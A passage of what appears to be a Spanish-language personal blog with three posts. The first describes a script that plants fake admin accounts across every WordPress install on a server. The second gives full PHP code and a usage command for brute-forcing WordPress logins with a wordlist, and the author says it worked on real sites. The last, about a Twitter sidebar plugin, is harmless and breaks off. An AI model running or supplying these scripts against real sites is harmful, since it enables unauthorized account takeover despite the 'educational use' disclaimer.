Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.

Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal.

El código está disponible tambien en http://codes.zerial.org/php/wp-config_discover.phps

nota: queda de más decir que es para uso educativo y es una herramienta de auditoría

Web Login por fuerza bruta

Zerial — Sat, 04 Oct 2008 20:24:50 +0000

WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

< ?php

ini_set("memory_limit", "100M");

function crackSite($wordlist, $url, $user, $attemps = 0)

{

if($file = file($wordlist))

print "Read ".count($file)." words.n";

else

{

print "Can’t read word list file.n";

die();

}

$i = 0;

rtrim($fields_string,‘&’);

foreach($file as $word)

{

if(++$i%10 == 0)

print "Attempts: ".$i."/".count($file)." (".trim($word).")n";

$fields_string = "log=".$user."&pwd=".trim($word);

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);

curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);

curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);

$result = md5( curl_exec($ch) );

if(!$oresult) $oresult = $result;

if($oresult != $result)

{

print "Password found: ".$word."n";

die();

}

curl_close($ch);

}

}

crackSite($argv[1], $argv[2], $argv[3]);

?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt http://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

www.youtube.com/watch?v=CMfxsGQOtd8

Descargar video:
Mirror 1: Hardmodding (2.8M)

TwitteRead (Plugin para WP)

Zerial — Mon, 17 Dec 2007 04:53:43 +0000

Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin.

Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la barra de navegacion que esta al costado derecho del blog.
El plugin es bastante basico pero se le pueden ir agregando mas funcionalidades y quizas generar un algoritmo más óptimo para leer los últimos updates de cada usuario, pero para este caso (el mio) basta y sobra con lo que hace. Si en algun momento comienza a fallar entonces reconsideraré la opcion de volver a escribirlo. Si alguien quiere probarlo lo puede descargar desde acá.
Para instalarlo y usarlo es muy sencillo, vayan al directorio de los plugins de wordpress (wp-content/plugins) y desempaqueten el fichero descargado:

$ tar zxvf twitteread-0.5.tar.gz
twitteread/
twitteread/twitteread.php

Luego deben ir al panel de administracion de WP y activen el plugin, una vez activado, deben editar el sidebar del Theme que esten usando y, en la posicion que ustedes quieran, llaman a la funcion que devolvera o mostrara los post en twitter.

usuario, cantidad_de_updates ); ?>